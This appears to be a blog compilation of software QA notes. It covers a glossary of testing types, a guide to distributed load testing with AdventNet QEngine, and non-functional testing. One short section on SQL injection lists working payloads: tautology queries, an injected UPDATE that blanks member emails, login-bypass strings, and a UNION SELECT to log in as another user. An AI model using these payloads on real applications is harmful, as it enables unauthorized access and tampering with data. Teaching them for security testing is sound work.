QA · Testing

Types of testing

• Black box testing – You don’t need to know the internal design or have deep knowledge about the code to conduct this test. It’s mainly based on functionality and specifications, requirements.
• White box testing – This test is based on knowledge of the internal design and code. Tests are based on code statements, coding styles, etc.
• unit testing – the most ‘micro’ scale of testing; to test particular functions or code modules. Typically done by the programmer and not by testers, as it requires detailed knowledge of the internal program design and code. Not always easily done unless the application has a well-designed architecture with tight code, may require developing test driver modules or test harnesses.
• incremental integration testing – continuous testing of an application as new functionality is added; requires that various aspects of an application’s functionality be independent enough to work separately before all parts of the program are completed, or that test drivers be developed as needed; done by programmers or by testers.
• integration testing – testing of combined parts of an application to determine if they function together correctly. The ‘parts’ can be code modules, individual applications, client and server applications on a network, etc. This type of testing is especially relevant to client/server and distributed systems.
• functional testing – black-box type testing geared to functional requirements of an application; this type of testing should be done by testers. This doesn’t mean that the programmers shouldn’t check that their code works before releasing it (which of course applies to any stage of testing.)
• system testing – black-box type testing that is based on overall requirements specifications; covers all combined parts of a system.
• end-to-end testing – similar to system testing; the ‘macro’ end of the test scale; involves testing of a complete application environment in a situation that mimics real-world use, such as interacting with a database, using network communications, or interacting with other hardware, applications, or systems if appropriate.
• sanity testing or smoke testing – typically an initial testing effort to determine if a new software version is performing well enough to accept it for a major testing effort. For example, if the new software is crashing systems every 5 minutes, bogging down systems to a crawl, or corrupting databases, the software may not be in a ‘sane’ enough condition to warrant further testing in its current state.
• regression testing – re-testing after fixes or modifications of the software or its environment. It can be difficult to determine how much re-testing is needed, especially near the end of the development cycle. Automated testing tools can be especially useful for this type of testing.
• acceptance testing – final testing based on specifications of the end-user or customer, or based on use by end-users/customers over some limited period of time.
• load testing – testing an application under heavy loads, such as testing of a web site under a range of loads to determine at what point the system’s response time degrades or fails.
• stress testing – term often used interchangeably with ‘load’ and ‘performance’ testing. Also used to describe such tests as system functional testing while under unusually heavy loads, heavy repetition of certain actions or inputs, input of large numerical values, large complex queries to a database system, etc.
• performance testing – term often used interchangeably with ‘stress’ and ‘load’ testing. Ideally ‘performance’ testing (and any other ‘type’ of testing) is defined in requirements documentation or QA or Test Plans.
• usability testing – testing for ‘user-friendliness’. Clearly this is subjective, and will depend on the targeted end-user or customer. User interviews, surveys, video recording of user sessions, and other techniques can be used. Programmers and testers are usually not appropriate as usability testers.
• install/uninstall testing – testing of full, partial, or upgrade install/uninstall processes.
• recovery testing – testing how well a system recovers from crashes, hardware failures, or other catastrophic problems.
• failover testing – typically used interchangeably with ‘recovery testing’
• security testing – testing how well the system protects against unauthorized internal or external access, willful damage, etc; may require sophisticated testing techniques.
• compatability testing – testing how well software performs in a particular hardware/software/operating system/network/etc. environment.
• exploratory testing – often taken to mean a creative, informal software test that is not based on formal test plans or test cases; testers may be learning the software as they test it.
• ad-hoc testing – similar to exploratory testing, but often taken to mean that the testers have significant understanding of the software before testing it.
• context-driven testing – testing driven by an understanding of the environment, culture, and intended use of software. For example, the testing approach for life-critical medical equipment software would be completely different than that for a low-cost computer game.
• user acceptance testing – determining if software is satisfactory to an end-user or customer.
• Comparison testing – comparing software weaknesses and strengths to competing products.
• alpha testing – testing of an application when development is nearing completion; minor design changes may still be made as a result of such testing. Typically done by end-users or others, not by programmers or testers.
• beta testing – testing when development and testing are essentially completed and final bugs and problems need to be found before final release. Typically done by end-users or others, not by programmers or testers.
• mutation testing – a method for determining if a set of test data or test cases is useful, by deliberately introducing various code changes (‘bugs’) and retesting with the original test data/cases to determine if the ‘bugs’ are detected. Proper implementation requires large computational resources.

QA · Testing

SQL injection

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database
layer of an application. The vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur
whenever one programming or scripting language is embedded inside another.

SELECT * FROM users WHERE name = ‘a’ OR ‘t’=’t’;

x’;UPDATE members SET email = ‘’ WHERE email = ‘

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin’ —
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ‘1’=’1–
* ‘) or (‘1’=’1–
* ….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries


Distributed Load Testing Tool

Let me analyze of how distributed load testing can be done with a handy tool, AdventNet QEngine 6.9. As quality matters everywhere high attention has to be paid in those areas. As far as an application, few metrics have to taken into account before delivered into the market. Response time analysis and load capacity of the application must be done. We cannot make calculation over rough paper for these metrics manually everytime. Suppose if the application is to be tested with load capacity of 5 users, we can try for it. What happens when we need to load test the application for 1000 or 10000 users?. Testing tool like LoadRunner, QEngine, Neoload etc., can be helpful in this scenario. QEngine costs low comparing with other competitors. The tool is user-friendly too. Let me analyze on the tool QEngine of how to distribute the load test of your application in your environment. Let us assume, you have purchased the license of 5000 Virtual User on QEngine and you have to test your application with 5000 user load. You cannot go with testing such high load on a single server machine. You can install the license on the server machine and the virtual user load can be distributed through several machines(Agents). The recommended Virtual user configuration from QEngine for a 1GB machine is 500 virtual users. The agent has to be configured in the server machine with their IP address and Load test user credential. The Distributed agent has to be started from the configured agents by selecting the ‘Start -> Programs >AdventNet QEngine WebPerformance -> Start Distributed Agent’.After starting the distributed agents in all agents, the application which was recorded previously configured with Virtual user specification can be load tested by hitting the ‘Start Load Test’ button.

Hope this discussion help you,

This Article from My Friend Muthuselvan


What is non functional testing in software testing?

It is testing of “how” the system works. Non functional testing may be performed at all test levels. The term non-functional testing describes the tests required to measure characteristics of systems and software that can be quantified on a varying scale, such as response times for performance testing. Types of Non-functional testing are performance testing, load testing, stress testing, usability testing, maintainability testing, reliability testing and portability testing.